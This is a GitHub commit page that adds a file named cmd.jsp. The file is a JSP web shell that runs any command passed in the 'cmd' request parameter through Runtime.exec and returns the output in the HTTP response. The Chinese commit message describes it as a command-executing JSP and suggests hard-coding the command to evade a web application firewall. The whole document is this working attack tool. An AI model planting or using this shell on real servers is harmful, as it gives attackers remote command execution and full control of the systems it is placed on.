Skip to content

Commit 0ded20f

Browse files
authored
Create cmd.jsp
执行命令的jsp,可以写死命令过waf
1 parent 6143437 commit 0ded20f

1 file changed

Lines changed: 20 additions & 0 deletions

File tree

cmd.jsp

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
<%@ page import="java.io.*" %>
2+
<%
3+
try {
4+
String cmd = request.getParameter("cmd");
5+
Process child = Runtime.getRuntime().exec(cmd);
6+
InputStream in = child.getInputStream();
7+
int c;
8+
while ((c = in.read()) != -1) {
9+
out.print((char)c);
10+
}
11+
in.close();
12+
try {
13+
child.waitFor();
14+
} catch (InterruptedException e) {
15+
e.printStackTrace();
16+
}
17+
} catch (IOException e) {
18+
System.err.println(e);
19+
}
20+
%>

0 commit comments

Comments
 (0)